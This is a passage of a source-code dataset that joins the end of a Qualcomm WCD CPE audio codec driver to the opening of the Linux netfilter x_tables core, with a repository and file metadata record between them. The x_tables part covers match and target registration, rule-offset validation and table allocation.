cpe_afe_hw_mad_ctrl *hw_mad_ctrl = &afe_params.hw_mad_ctrl; struct cpe_afe_port_cfg *port_cfg = &afe_params.port_cfg; struct wcd_cpe_core *core = core_handle; struct wcd_cmi_afe_port_data *afe_port_d; int ret = 0, pld_size = 0; ret = wcd_cpe_is_valid_port(core, afe_cfg, __func__); if (ret) return ret; afe_port_d = &afe_ports[afe_cfg->port_id]; afe_port_d->port_id = afe_cfg->port_id; WCD_CPE_GRAB_LOCK(&afe_port_d->afe_lock, "afe"); ret = wcd_cpe_send_afe_cal(core, afe_port_d); if (ret) { dev_err(core->dev, "%s: afe acdb cal send failed, err = %d\n", __func__, ret); goto err_ret; } pld_size = CPE_AFE_PARAM_PAYLOAD_SIZE; memset(&afe_params, 0, sizeof(afe_params)); if (fill_afe_cmd_header(&afe_params.hdr, afe_cfg->port_id, CPE_AFE_CMD_SET_PARAM, (u8) pld_size, false)) { ret = -EINVAL; goto err_ret; } hw_mad_ctrl->param.module_id = CPE_AFE_MODULE_HW_MAD; hw_mad_ctrl->param.param_id = CPE_AFE_PARAM_ID_HW_MAD_CTL; hw_mad_ctrl->param.p_size.sr.param_size = PARAM_SIZE_AFE_HW_MAD_CTRL; hw_mad_ctrl->param.p_size.sr.reserved = 0; hw_mad_ctrl->minor_version = 1; hw_mad_ctrl->mad_type = MAD_TYPE_AUDIO; hw_mad_ctrl->mad_enable = afe_mad_ctl; port_cfg->param.module_id = CPE_AFE_MODULE_AUDIO_DEV_INTERFACE; port_cfg->param.param_id = CPE_AFE_PARAM_ID_GENERIC_PORT_CONFIG; port_cfg->param.p_size.sr.param_size = PARAM_SIZE_AFE_PORT_CFG; port_cfg->param.p_size.sr.reserved = 0; port_cfg->minor_version = 1; port_cfg->bit_width = afe_cfg->bit_width; port_cfg->num_channels = afe_cfg->num_channels; port_cfg->sample_rate = afe_cfg->sample_rate; ret = wcd_cpe_cmi_send_afe_msg(core, afe_port_d, &afe_params); if (ret) dev_err(core->dev, "%s: afe_port_config failed, err = %d\n", __func__, ret); err_ret: WCD_CPE_REL_LOCK(&afe_port_d->afe_lock, "afe"); return ret; } /* * wcd_cpe_afe_port_start: send the start command to afe service * @core_handle: handle to the cpe core * @port_cfg: configuration data for the afe port which needs * to be started. */ static int wcd_cpe_afe_port_start(void *core_handle, struct wcd_cpe_afe_port_cfg *port_cfg) { struct cmi_hdr hdr; struct wcd_cpe_core *core = core_handle; struct wcd_cmi_afe_port_data *afe_port_d; int ret = 0; ret = wcd_cpe_is_valid_port(core, port_cfg, __func__); if (ret) return ret; afe_port_d = &afe_ports[port_cfg->port_id]; afe_port_d->port_id = port_cfg->port_id; WCD_CPE_GRAB_LOCK(&afe_port_d->afe_lock, "afe"); memset(&hdr, 0, sizeof(struct cmi_hdr)); fill_afe_cmd_header(&hdr, port_cfg->port_id, CPE_AFE_PORT_CMD_START, 0, false); ret = wcd_cpe_cmi_send_afe_msg(core, afe_port_d, &hdr); if (ret) dev_err(core->dev, "%s: afe_port_start cmd failed, err = %d\n", __func__, ret); WCD_CPE_REL_LOCK(&afe_port_d->afe_lock, "afe"); return ret; } /* * wcd_cpe_afe_port_stop: send stop command to afe service * @core_handle: handle to the cpe core * @port_cfg: configuration data for the afe port which needs * to be stopped. */ static int wcd_cpe_afe_port_stop(void *core_handle, struct wcd_cpe_afe_port_cfg *port_cfg) { struct cmi_hdr hdr; struct wcd_cpe_core *core = core_handle; struct wcd_cmi_afe_port_data *afe_port_d; int ret = 0; ret = wcd_cpe_is_valid_port(core, port_cfg, __func__); if (ret) return ret; afe_port_d = &afe_ports[port_cfg->port_id]; afe_port_d->port_id = port_cfg->port_id; WCD_CPE_GRAB_LOCK(&afe_port_d->afe_lock, "afe"); memset(&hdr, 0, sizeof(hdr)); fill_afe_cmd_header(&hdr, port_cfg->port_id, CPE_AFE_PORT_CMD_STOP, 0, false); ret = wcd_cpe_cmi_send_afe_msg(core, afe_port_d, &hdr); if (ret) dev_err(core->dev, "%s: afe_stop cmd failed, err = %d\n", __func__, ret); WCD_CPE_REL_LOCK(&afe_port_d->afe_lock, "afe"); return ret; } /* * wcd_cpe_afe_port_suspend: send suspend command to afe service * @core_handle: handle to the cpe core * @port_cfg: configuration data for the afe port which needs * to be suspended. */ static int wcd_cpe_afe_port_suspend(void *core_handle, struct wcd_cpe_afe_port_cfg *port_cfg) { struct cmi_hdr hdr; struct wcd_cpe_core *core = core_handle; struct wcd_cmi_afe_port_data *afe_port_d; int ret = 0; ret = wcd_cpe_is_valid_port(core, port_cfg, __func__); if (ret) return ret; afe_port_d = &afe_ports[port_cfg->port_id]; afe_port_d->port_id = port_cfg->port_id; WCD_CPE_GRAB_LOCK(&afe_port_d->afe_lock, "afe"); memset(&hdr, 0, sizeof(struct cmi_hdr)); fill_afe_cmd_header(&hdr, port_cfg->port_id, CPE_AFE_PORT_CMD_SUSPEND, 0, false); ret = wcd_cpe_cmi_send_afe_msg(core, afe_port_d, &hdr); if (ret) dev_err(core->dev, "%s: afe_suspend cmd failed, err = %d\n", __func__, ret); WCD_CPE_REL_LOCK(&afe_port_d->afe_lock, "afe"); return ret; } /* * wcd_cpe_afe_port_resume: send the resume command to afe service * @core_handle: handle to the cpe core * @port_cfg: configuration data for the afe port which needs * to be resumed. */ static int wcd_cpe_afe_port_resume(void *core_handle, struct wcd_cpe_afe_port_cfg *port_cfg) { struct cmi_hdr hdr; struct wcd_cpe_core *core = core_handle; struct wcd_cmi_afe_port_data *afe_port_d; int ret = 0; ret = wcd_cpe_is_valid_port(core, port_cfg, __func__); if (ret) return ret; afe_port_d = &afe_ports[port_cfg->port_id]; afe_port_d->port_id = port_cfg->port_id; WCD_CPE_GRAB_LOCK(&afe_port_d->afe_lock, "afe"); memset(&hdr, 0, sizeof(hdr)); fill_afe_cmd_header(&hdr, port_cfg->port_id, CPE_AFE_PORT_CMD_RESUME, 0, false); ret = wcd_cpe_cmi_send_afe_msg(core, afe_port_d, &hdr); if (ret) dev_err(core->dev, "%s: afe_resume cmd failed, err = %d\n", __func__, ret); WCD_CPE_REL_LOCK(&afe_port_d->afe_lock, "afe"); return ret; } /* * wcd_cpe_register_afe_driver: register lsm driver to codec * @cpe_ops: structure with lsm callbacks * @codec: codec to which this lsm driver is registered to */ int wcd_cpe_get_afe_ops(struct wcd_cpe_afe_ops *afe_ops) { afe_ops->afe_set_params = wcd_cpe_afe_set_params; afe_ops->afe_port_start = wcd_cpe_afe_port_start; afe_ops->afe_port_stop = wcd_cpe_afe_port_stop; afe_ops->afe_port_suspend = wcd_cpe_afe_port_suspend; afe_ops->afe_port_resume = wcd_cpe_afe_port_resume; afe_ops->afe_port_cmd_cfg = wcd_cpe_afe_cmd_port_cfg; return 0; } EXPORT_SYMBOL(wcd_cpe_get_afe_ops); MODULE_DESCRIPTION("WCD CPE Core"); MODULE_LICENSE("GPL v2");
shminer/kernel-msm-3.18
sound/soc/codecs/wcd_cpe_core.c
C
gpl-2.0
115,930
/* * x_tables core - Backend for {ip,ip6,arp}_tables * * Copyright (C) 2006-2006 Harald Welte <laforge@netfilter.org> * Copyright (C) 2006-2012 Patrick McHardy <kaber@trash.net> * * Based on existing ip_tables code which is * Copyright (C) 1999 Paul `Rusty' Russell & Michael J. Neuling * Copyright (C) 2000-2005 Netfilter Core Team <coreteam@netfilter.org> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * */ #define pr_fmt(fmt) KBUILD_MODNAME ": " fmt #include <linux/kernel.h> #include <linux/module.h> #include <linux/socket.h> #include <linux/net.h> #include <linux/proc_fs.h> #include <linux/seq_file.h> #include <linux/string.h> #include <linux/vmalloc.h> #include <linux/mutex.h> #include <linux/mm.h> #include <linux/slab.h> #include <linux/audit.h> #include <net/net_namespace.h> #include <linux/netfilter/x_tables.h> #include <linux/netfilter_arp.h> #include <linux/netfilter_ipv4/ip_tables.h> #include <linux/netfilter_ipv6/ip6_tables.h> #include <linux/netfilter_arp/arp_tables.h> MODULE_LICENSE("GPL"); MODULE_AUTHOR("Harald Welte <laforge@netfilter.org>"); MODULE_DESCRIPTION("{ip,ip6,arp,eb}_tables backend module"); #define SMP_ALIGN(x) (((x) + SMP_CACHE_BYTES-1) & ~(SMP_CACHE_BYTES-1)) struct compat_delta { unsigned int offset; /* offset in kernel */ int delta; /* delta in 32bit user land */ }; struct xt_af { struct mutex mutex; struct list_head match; struct list_head target; #ifdef CONFIG_COMPAT struct mutex compat_mutex; struct compat_delta *compat_tab; unsigned int number; /* number of slots in compat_tab[] */ unsigned int cur; /* number of used slots in compat_tab[] */ #endif }; static struct xt_af *xt; static const char *const xt_prefix[NFPROTO_NUMPROTO] = { [NFPROTO_UNSPEC] = "x", [NFPROTO_IPV4] = "ip", [NFPROTO_ARP] = "arp", [NFPROTO_BRIDGE] = "eb", [NFPROTO_IPV6] = "ip6", }; /* Allow this many total (re)entries. */ static const unsigned int xt_jumpstack_multiplier = 2; /* Registration hooks for targets. */ int xt_register_target(struct xt_target *target) { u_int8_t af = target->family; mutex_lock(&xt[af].mutex); list_add(&target->list, &xt[af].target); mutex_unlock(&xt[af].mutex); return 0; } EXPORT_SYMBOL(xt_register_target); void xt_unregister_target(struct xt_target *target) { u_int8_t af = target->family; mutex_lock(&xt[af].mutex); list_del(&target->list); mutex_unlock(&xt[af].mutex); } EXPORT_SYMBOL(xt_unregister_target); int xt_register_targets(struct xt_target *target, unsigned int n) { unsigned int i; int err = 0; for (i = 0; i < n; i++) { err = xt_register_target(&target[i]); if (err) goto err; } return err; err: if (i > 0) xt_unregister_targets(target, i); return err; } EXPORT_SYMBOL(xt_register_targets); void xt_unregister_targets(struct xt_target *target, unsigned int n) { while (n-- > 0) xt_unregister_target(&target[n]); } EXPORT_SYMBOL(xt_unregister_targets); int xt_register_match(struct xt_match *match) { u_int8_t af = match->family; mutex_lock(&xt[af].mutex); list_add(&match->list, &xt[af].match); mutex_unlock(&xt[af].mutex); return 0; } EXPORT_SYMBOL(xt_register_match); void xt_unregister_match(struct xt_match *match) { u_int8_t af = match->family; mutex_lock(&xt[af].mutex); list_del(&match->list); mutex_unlock(&xt[af].mutex); } EXPORT_SYMBOL(xt_unregister_match); int xt_register_matches(struct xt_match *match, unsigned int n) { unsigned int i; int err = 0; for (i = 0; i < n; i++) { err = xt_register_match(&match[i]); if (err) goto err; } return err; err: if (i > 0) xt_unregister_matches(match, i); return err; } EXPORT_SYMBOL(xt_register_matches); void xt_unregister_matches(struct xt_match *match, unsigned int n) { while (n-- > 0) xt_unregister_match(&match[n]); } EXPORT_SYMBOL(xt_unregister_matches); /* * These are weird, but module loading must not be done with mutex * held (since they will register), and we have to have a single * function to use. */ /* Find match, grabs ref. Returns ERR_PTR() on error. */ struct xt_match *xt_find_match(u8 af, const char *name, u8 revision) { struct xt_match *m; int err = -ENOENT; mutex_lock(&xt[af].mutex); list_for_each_entry(m, &xt[af].match, list) { if (strcmp(m->name, name) == 0) { if (m->revision == revision) { if (try_module_get(m->me)) { mutex_unlock(&xt[af].mutex); return m; } } else err = -EPROTOTYPE; /* Found something. */ } } mutex_unlock(&xt[af].mutex); if (af != NFPROTO_UNSPEC) /* Try searching again in the family-independent list */ return xt_find_match(NFPROTO_UNSPEC, name, revision); return ERR_PTR(err); } EXPORT_SYMBOL(xt_find_match); struct xt_match * xt_request_find_match(uint8_t nfproto, const char *name, uint8_t revision) { struct xt_match *match; match = xt_find_match(nfproto, name, revision); if (IS_ERR(match)) { request_module("%st_%s", xt_prefix[nfproto], name); match = xt_find_match(nfproto, name, revision); } return match; } EXPORT_SYMBOL_GPL(xt_request_find_match); /* Find target, grabs ref. Returns ERR_PTR() on error. */ struct xt_target *xt_find_target(u8 af, const char *name, u8 revision) { struct xt_target *t; int err = -ENOENT; mutex_lock(&xt[af].mutex); list_for_each_entry(t, &xt[af].target, list) { if (strcmp(t->name, name) == 0) { if (t->revision == revision) { if (try_module_get(t->me)) { mutex_unlock(&xt[af].mutex); return t; } } else err = -EPROTOTYPE; /* Found something. */ } } mutex_unlock(&xt[af].mutex); if (af != NFPROTO_UNSPEC) /* Try searching again in the family-independent list */ return xt_find_target(NFPROTO_UNSPEC, name, revision); return ERR_PTR(err); } EXPORT_SYMBOL(xt_find_target); struct xt_target *xt_request_find_target(u8 af, const char *name, u8 revision) { struct xt_target *target; target = xt_find_target(af, name, revision); if (IS_ERR(target)) { request_module("%st_%s", xt_prefix[af], name); target = xt_find_target(af, name, revision); } return target; } EXPORT_SYMBOL_GPL(xt_request_find_target); static int match_revfn(u8 af, const char *name, u8 revision, int *bestp) { const struct xt_match *m; int have_rev = 0; list_for_each_entry(m, &xt[af].match, list) { if (strcmp(m->name, name) == 0) { if (m->revision > *bestp) *bestp = m->revision; if (m->revision == revision) have_rev = 1; } } if (af != NFPROTO_UNSPEC && !have_rev) return match_revfn(NFPROTO_UNSPEC, name, revision, bestp); return have_rev; } static int target_revfn(u8 af, const char *name, u8 revision, int *bestp) { const struct xt_target *t; int have_rev = 0; list_for_each_entry(t, &xt[af].target, list) { if (strcmp(t->name, name) == 0) { if (t->revision > *bestp) *bestp = t->revision; if (t->revision == revision) have_rev = 1; } } if (af != NFPROTO_UNSPEC && !have_rev) return target_revfn(NFPROTO_UNSPEC, name, revision, bestp); return have_rev; } /* Returns true or false (if no such extension at all) */ int xt_find_revision(u8 af, const char *name, u8 revision, int target, int *err) { int have_rev, best = -1; mutex_lock(&xt[af].mutex); if (target == 1) have_rev = target_revfn(af, name, revision, &best); else have_rev = match_revfn(af, name, revision, &best); mutex_unlock(&xt[af].mutex); /* Nothing at all? Return 0 to try loading module. */ if (best == -1) { *err = -ENOENT; return 0; } *err = best; if (!have_rev) *err = -EPROTONOSUPPORT; return 1; } EXPORT_SYMBOL_GPL(xt_find_revision); static char * textify_hooks(char *buf, size_t size, unsigned int mask, uint8_t nfproto) { static const char *const inetbr_names[] = { "PREROUTING", "INPUT", "FORWARD", "OUTPUT", "POSTROUTING", "BROUTING", }; static const char *const arp_names[] = { "INPUT", "FORWARD", "OUTPUT", }; const char *const *names; unsigned int i, max; char *p = buf; bool np = false; int res; names = (nfproto == NFPROTO_ARP) ? arp_names : inetbr_names; max = (nfproto == NFPROTO_ARP) ? ARRAY_SIZE(arp_names) : ARRAY_SIZE(inetbr_names); *p = '\0'; for (i = 0; i < max; ++i) { if (!(mask & (1 << i))) continue; res = snprintf(p, size, "%s%s", np ? "/" : "", names[i]); if (res > 0) { size -= res; p += res; } np = true; } return buf; } int xt_check_match(struct xt_mtchk_param *par, unsigned int size, u_int8_t proto, bool inv_proto) { int ret; if (XT_ALIGN(par->match->matchsize) != size && par->match->matchsize != -1) { /* * ebt_among is exempt from centralized matchsize checking * because it uses a dynamic-size data set. */ pr_err("%s_tables: %s.%u match: invalid size " "%u (kernel) != (user) %u\n", xt_prefix[par->family], par->match->name, par->match->revision, XT_ALIGN(par->match->matchsize), size); return -EINVAL; } if (par->match->table != NULL && strcmp(par->match->table, par->table) != 0) { pr_err("%s_tables: %s match: only valid in %s table, not %s\n", xt_prefix[par->family], par->match->name, par->match->table, par->table); return -EINVAL; } if (par->match->hooks && (par->hook_mask & ~par->match->hooks) != 0) { char used[64], allow[64]; pr_err("%s_tables: %s match: used from hooks %s, but only " "valid from %s\n", xt_prefix[par->family], par->match->name, textify_hooks(used, sizeof(used), par->hook_mask, par->family), textify_hooks(allow, sizeof(allow), par->match->hooks, par->family)); return -EINVAL; } if (par->match->proto && (par->match->proto != proto || inv_proto)) { pr_err("%s_tables: %s match: only valid for protocol %u\n", xt_prefix[par->family], par->match->name, par->match->proto); return -EINVAL; } if (par->match->checkentry != NULL) { ret = par->match->checkentry(par); if (ret < 0) return ret; else if (ret > 0) /* Flag up potential errors. */ return -EIO; } return 0; } EXPORT_SYMBOL_GPL(xt_check_match); /** xt_check_entry_match - check that matches end before start of target * * @match: beginning of xt_entry_match * @target: beginning of this rules target (alleged end of matches) * @alignment: alignment requirement of match structures * * Validates that all matches add up to the beginning of the target, * and that each match covers at least the base structure size. * * Return: 0 on success, negative errno on failure. */ static int xt_check_entry_match(const char *match, const char *target, const size_t alignment) { const struct xt_entry_match *pos; int length = target - match; if (length == 0) /* no matches */ return 0; pos = (struct xt_entry_match *)match; do { if ((unsigned long)pos % alignment) return -EINVAL; if (length < (int)sizeof(struct xt_entry_match)) return -EINVAL; if (pos->u.match_size < sizeof(struct xt_entry_match)) return -EINVAL; if (pos->u.match_size > length) return -EINVAL; length -= pos->u.match_size; pos = ((void *)((char *)(pos) + (pos)->u.match_size)); } while (length > 0); return 0; } #ifdef CONFIG_COMPAT int xt_compat_add_offset(u_int8_t af, unsigned int offset, int delta) { struct xt_af *xp = &xt[af]; if (!xp->compat_tab) { if (!xp->number) return -EINVAL; xp->compat_tab = vmalloc(sizeof(struct compat_delta) * xp->number); if (!xp->compat_tab) return -ENOMEM; xp->cur = 0; } if (xp->cur >= xp->number) return -EINVAL; if (xp->cur) delta += xp->compat_tab[xp->cur - 1].delta; xp->compat_tab[xp->cur].offset = offset; xp->compat_tab[xp->cur].delta = delta; xp->cur++; return 0; } EXPORT_SYMBOL_GPL(xt_compat_add_offset); void xt_compat_flush_offsets(u_int8_t af) { if (xt[af].compat_tab) { vfree(xt[af].compat_tab); xt[af].compat_tab = NULL; xt[af].number = 0; xt[af].cur = 0; } } EXPORT_SYMBOL_GPL(xt_compat_flush_offsets); int xt_compat_calc_jump(u_int8_t af, unsigned int offset) { struct compat_delta *tmp = xt[af].compat_tab; int mid, left = 0, right = xt[af].cur - 1; while (left <= right) { mid = (left + right) >> 1; if (offset > tmp[mid].offset) left = mid + 1; else if (offset < tmp[mid].offset) right = mid - 1; else return mid ? tmp[mid - 1].delta : 0; } return left ? tmp[left - 1].delta : 0; } EXPORT_SYMBOL_GPL(xt_compat_calc_jump); void xt_compat_init_offsets(u_int8_t af, unsigned int number) { xt[af].number = number; xt[af].cur = 0; } EXPORT_SYMBOL(xt_compat_init_offsets); int xt_compat_match_offset(const struct xt_match *match) { u_int16_t csize = match->compatsize ? : match->matchsize; return XT_ALIGN(match->matchsize) - COMPAT_XT_ALIGN(csize); } EXPORT_SYMBOL_GPL(xt_compat_match_offset); void xt_compat_match_from_user(struct xt_entry_match *m, void **dstptr, unsigned int *size) { const struct xt_match *match = m->u.kernel.match; struct compat_xt_entry_match *cm = (struct compat_xt_entry_match *)m; int pad, off = xt_compat_match_offset(match); u_int16_t msize = cm->u.user.match_size; char name[sizeof(m->u.user.name)]; m = *dstptr; memcpy(m, cm, sizeof(*cm)); if (match->compat_from_user) match->compat_from_user(m->data, cm->data); else memcpy(m->data, cm->data, msize - sizeof(*cm)); pad = XT_ALIGN(match->matchsize) - match->matchsize; if (pad > 0) memset(m->data + match->matchsize, 0, pad); msize += off; m->u.user.match_size = msize; strlcpy(name, match->name, sizeof(name)); module_put(match->me); strncpy(m->u.user.name, name, sizeof(m->u.user.name)); *size += off; *dstptr += msize; } EXPORT_SYMBOL_GPL(xt_compat_match_from_user); int xt_compat_match_to_user(const struct xt_entry_match *m, void __user **dstptr, unsigned int *size) { const struct xt_match *match = m->u.kernel.match; struct compat_xt_entry_match __user *cm = *dstptr; int off = xt_compat_match_offset(match); u_int16_t msize = m->u.user.match_size - off; if (copy_to_user(cm, m, sizeof(*cm)) || put_user(msize, &cm->u.user.match_size) || copy_to_user(cm->u.user.name, m->u.kernel.match->name, strlen(m->u.kernel.match->name) + 1)) return -EFAULT; if (match->compat_to_user) { if (match->compat_to_user((void __user *)cm->data, m->data)) return -EFAULT; } else { if (copy_to_user(cm->data, m->data, msize - sizeof(*cm))) return -EFAULT; } *size -= off; *dstptr += msize; return 0; } EXPORT_SYMBOL_GPL(xt_compat_match_to_user); /* non-compat version may have padding after verdict */ struct compat_xt_standard_target { struct compat_xt_entry_target t; compat_uint_t verdict; }; int xt_compat_check_entry_offsets(const void *base, const char *elems, unsigned int target_offset, unsigned int next_offset) { long size_of_base_struct = elems - (const char *)base; const struct compat_xt_entry_target *t; const char *e = base; if (target_offset < size_of_base_struct) return -EINVAL; if (target_offset + sizeof(*t) > next_offset) return -EINVAL; t = (void *)(e + target_offset); if (t->u.target_size < sizeof(*t)) return -EINVAL; if (target_offset + t->u.target_size > next_offset) return -EINVAL; if (strcmp(t->u.user.name, XT_STANDARD_TARGET) == 0 && COMPAT_XT_ALIGN(target_offset + sizeof(struct compat_xt_standard_target)) != next_offset) return -EINVAL; /* compat_xt_entry match has less strict aligment requirements, * otherwise they are identical. In case of padding differences * we need to add compat version of xt_check_entry_match. */ BUILD_BUG_ON(sizeof(struct compat_xt_entry_match) != sizeof(struct xt_entry_match)); return xt_check_entry_match(elems, base + target_offset, __alignof__(struct compat_xt_entry_match)); } EXPORT_SYMBOL(xt_compat_check_entry_offsets); #endif /* CONFIG_COMPAT */ /** * xt_check_entry_offsets - validate arp/ip/ip6t_entry * * @base: pointer to arp/ip/ip6t_entry * @elems: pointer to first xt_entry_match, i.e. ip(6)t_entry->elems * @target_offset: the arp/ip/ip6_t->target_offset * @next_offset: the arp/ip/ip6_t->next_offset * * validates that target_offset and next_offset are sane and that all * match sizes (if any) align with the target offset. * * This function does not validate the targets or matches themselves, it * only tests that all the offsets and sizes are correct, that all * match structures are aligned, and that the last structure ends where * the target structure begins. * * Also see xt_compat_check_entry_offsets for CONFIG_COMPAT version. * * The arp/ip/ip6t_entry structure @base must have passed following tests: * - it must point to a valid memory location * - base to base + next_offset must be accessible, i.e. not exceed allocated * length. * * A well-formed entry looks like this: * * ip(6)t_entry match [mtdata] match [mtdata] target [tgdata] ip(6)t_entry * e->elems[]-----' | | * matchsize | | * matchsize | | * | | * target_offset---------------------------------' | * next_offset---------------------------------------------------' * * elems[]: flexible array member at end of ip(6)/arpt_entry struct. * This is where matches (if any) and the target reside. * target_offset: beginning of target. * next_offset: start of the next rule; also: size of this rule. * Since targets have a minimum size, target_offset + minlen <= next_offset. * * Every match stores its size, sum of sizes must not exceed target_offset. * * Return: 0 on success, negative errno on failure. */ int xt_check_entry_offsets(const void *base, const char *elems, unsigned int target_offset, unsigned int next_offset) { long size_of_base_struct = elems - (const char *)base; const struct xt_entry_target *t; const char *e = base; /* target start is within the ip/ip6/arpt_entry struct */ if (target_offset < size_of_base_struct) return -EINVAL; if (target_offset + sizeof(*t) > next_offset) return -EINVAL; t = (void *)(e + target_offset); if (t->u.target_size < sizeof(*t)) return -EINVAL; if (target_offset + t->u.target_size > next_offset) return -EINVAL; if (strcmp(t->u.user.name, XT_STANDARD_TARGET) == 0 && XT_ALIGN(target_offset + sizeof(struct xt_standard_target)) != next_offset) return -EINVAL; return xt_check_entry_match(elems, base + target_offset, __alignof__(struct xt_entry_match)); } EXPORT_SYMBOL(xt_check_entry_offsets); int xt_check_target(struct xt_tgchk_param *par, unsigned int size, u_int8_t proto, bool inv_proto) { int ret; if (XT_ALIGN(par->target->targetsize) != size) { pr_err("%s_tables: %s.%u target: invalid size " "%u (kernel) != (user) %u\n", xt_prefix[par->family], par->target->name, par->target->revision, XT_ALIGN(par->target->targetsize), size); return -EINVAL; } if (par->target->table != NULL && strcmp(par->target->table, par->table) != 0) { pr_err("%s_tables: %s target: only valid in %s table, not %s\n", xt_prefix[par->family], par->target->name, par->target->table, par->table); return -EINVAL; } if (par->target->hooks && (par->hook_mask & ~par->target->hooks) != 0) { char used[64], allow[64]; pr_err("%s_tables: %s target: used from hooks %s, but only " "usable from %s\n", xt_prefix[par->family], par->target->name, textify_hooks(used, sizeof(used), par->hook_mask, par->family), textify_hooks(allow, sizeof(allow), par->target->hooks, par->family)); return -EINVAL; } if (par->target->proto && (par->target->proto != proto || inv_proto)) { pr_err("%s_tables: %s target: only valid for protocol %u\n", xt_prefix[par->family], par->target->name, par->target->proto); return -EINVAL; } if (par->target->checkentry != NULL) { ret = par->target->checkentry(par); if (ret < 0) return ret; else if (ret > 0) /* Flag up potential errors. */ return -EIO; } return 0; } EXPORT_SYMBOL_GPL(xt_check_target); /** * xt_copy_counters_from_user - copy counters and metadata from userspace * * @user: src pointer to userspace memory * @len: alleged size of userspace memory * @info: where to store the xt_counters_info metadata * @compat: true if we setsockopt call is done by 32bit task on 64bit kernel * * Copies counter meta data from @user and stores it in @info. * * vmallocs memory to hold the counters, then copies the counter data * from @user to the new memory and returns a pointer to it. * * If @compat is true, @info gets converted automatically to the 64bit * representation. * * The metadata associated with the counters is stored in @info. * * Return: returns pointer that caller has to test via IS_ERR(). * If IS_ERR is false, caller has to vfree the pointer. */ void *xt_copy_counters_from_user(const void __user *user, unsigned int len, struct xt_counters_info *info, bool compat) { void *mem; u64 size; #ifdef CONFIG_COMPAT if (compat) { /* structures only differ in size due to alignment */ struct compat_xt_counters_info compat_tmp; if (len <= sizeof(compat_tmp)) return ERR_PTR(-EINVAL); len -= sizeof(compat_tmp); if (copy_from_user(&compat_tmp, user, sizeof(compat_tmp)) != 0) return ERR_PTR(-EFAULT); strlcpy(info->name, compat_tmp.name, sizeof(info->name)); info->num_counters = compat_tmp.num_counters; user += sizeof(compat_tmp); } else #endif { if (len <= sizeof(*info)) return ERR_PTR(-EINVAL); len -= sizeof(*info); if (copy_from_user(info, user, sizeof(*info)) != 0) return ERR_PTR(-EFAULT); info->name[sizeof(info->name) - 1] = '\0'; user += sizeof(*info); } size = sizeof(struct xt_counters); size *= info->num_counters; if (size != (u64)len) return ERR_PTR(-EINVAL); mem = vmalloc(len); if (!mem) return ERR_PTR(-ENOMEM); if (copy_from_user(mem, user, len) == 0) return mem; vfree(mem); return ERR_PTR(-EFAULT); } EXPORT_SYMBOL_GPL(xt_copy_counters_from_user); #ifdef CONFIG_COMPAT int xt_compat_target_offset(const struct xt_target *target) { u_int16_t csize = target->compatsize ? : target->targetsize; return XT_ALIGN(target->targetsize) - COMPAT_XT_ALIGN(csize); } EXPORT_SYMBOL_GPL(xt_compat_target_offset); void xt_compat_target_from_user(struct xt_entry_target *t, void **dstptr, unsigned int *size) { const struct xt_target *target = t->u.kernel.target; struct compat_xt_entry_target *ct = (struct compat_xt_entry_target *)t; int pad, off = xt_compat_target_offset(target); u_int16_t tsize = ct->u.user.target_size; char name[sizeof(t->u.user.name)]; t = *dstptr; memcpy(t, ct, sizeof(*ct)); if (target->compat_from_user) target->compat_from_user(t->data, ct->data); else memcpy(t->data, ct->data, tsize - sizeof(*ct)); pad = XT_ALIGN(target->targetsize) - target->targetsize; if (pad > 0) memset(t->data + target->targetsize, 0, pad); tsize += off; t->u.user.target_size = tsize; strlcpy(name, target->name, sizeof(name)); module_put(target->me); strncpy(t->u.user.name, name, sizeof(t->u.user.name)); *size += off; *dstptr += tsize; } EXPORT_SYMBOL_GPL(xt_compat_target_from_user); int xt_compat_target_to_user(const struct xt_entry_target *t, void __user **dstptr, unsigned int *size) { const struct xt_target *target = t->u.kernel.target; struct compat_xt_entry_target __user *ct = *dstptr; int off = xt_compat_target_offset(target); u_int16_t tsize = t->u.user.target_size - off; if (copy_to_user(ct, t, sizeof(*ct)) || put_user(tsize, &ct->u.user.target_size) || copy_to_user(ct->u.user.name, t->u.kernel.target->name, strlen(t->u.kernel.target->name) + 1)) return -EFAULT; if (target->compat_to_user) { if (target->compat_to_user((void __user *)ct->data, t->data)) return -EFAULT; } else { if (copy_to_user(ct->data, t->data, tsize - sizeof(*ct))) return -EFAULT; } *size -= off; *dstptr += tsize; return 0; } EXPORT_SYMBOL_GPL(xt_compat_target_to_user); #endif struct xt_table_info *xt_alloc_table_info(unsigned int size) { struct xt_table_info *newinfo; int cpu; /* Pedantry: prevent them from hitting BUG() in vmalloc.c --RR */ if ((SMP_ALIGN(size) >> PAGE_SHIFT) + 2 > totalram_pages) return NULL; newinfo = kzalloc(XT_TABLE_INFO_SZ, GFP_KERNEL); if (!newinfo) return NULL; newinfo->size = size; for_each_possible_cpu(cpu) { if (size <= PAGE_SIZE) newinfo->entries[cpu] = kmalloc_node(size, GFP_KERNEL, cpu_to_node(cpu)); else newinfo->entries[cpu] = vmalloc_node(size, cpu_to_node(cpu)); if (newinfo->entries[cpu] == NULL) { xt_free_table_info(newinfo); return NULL; } } return newinfo; } EXPORT_SYMBOL(xt_alloc_table_info); void xt_free_table_info(struct xt_table_info *info) { int cpu; for_each_possible_cpu(cpu) kvfree(info->entries[cpu]); if (info->jumpstack != NULL) { for_each_possible_cpu(cpu) kvfree(info->jumpstack[cpu]); kvfree(info->jumpstack); } free_percpu(info->stackptr); kfree(info); } EXPORT_SYMBOL(xt_free_table_info); /* Find table by name, grabs mutex & ref. Returns ERR_PTR() on error. */ struct xt_table *xt_find_table_lock(struct net *net, u_int8_t af, const char *name) { struct xt_table *t; mutex_lock(&xt[af].mutex); list_for_each_entry(t, &net->xt.tables[af], list) if (strcmp(t->name, name) == 0 && try_module_get(t->me)) return t; mutex_unlock(&xt[af].mutex); return NULL; } EXPORT_SYMBOL_GPL(xt_find_table_lock); void xt_table_unlock(struct xt_table *table) { mutex_unlock(&xt[table->af].mutex); } EXPORT_SYMBOL_GPL(xt_table_unlock); #ifdef CONFIG_COMPAT void xt_compat_lock(u_int8_t af) { mutex_lock(&xt[af].compat_mutex); } EXPORT_SYMBOL_GPL(xt_compat_lock); void xt_compat_unlock(u_int8_t af) { mutex_unlock(&xt[af].compat_mutex); } EXPORT_SYMBOL_GPL(xt_compat_unlock); #endif DEFINE_PER_CPU(seqcount_t, xt_recseq); EXPORT_PER_CPU_SYMBOL_GPL(xt_recseq); static int xt_jumpstack_alloc(struct xt_table_info *i) { unsigned int size; int cpu; i->stackptr = alloc_percpu(unsigned int); if (i->stackptr == NULL) return -ENOMEM; size = sizeof(void **) * nr_cpu_ids; if (size > 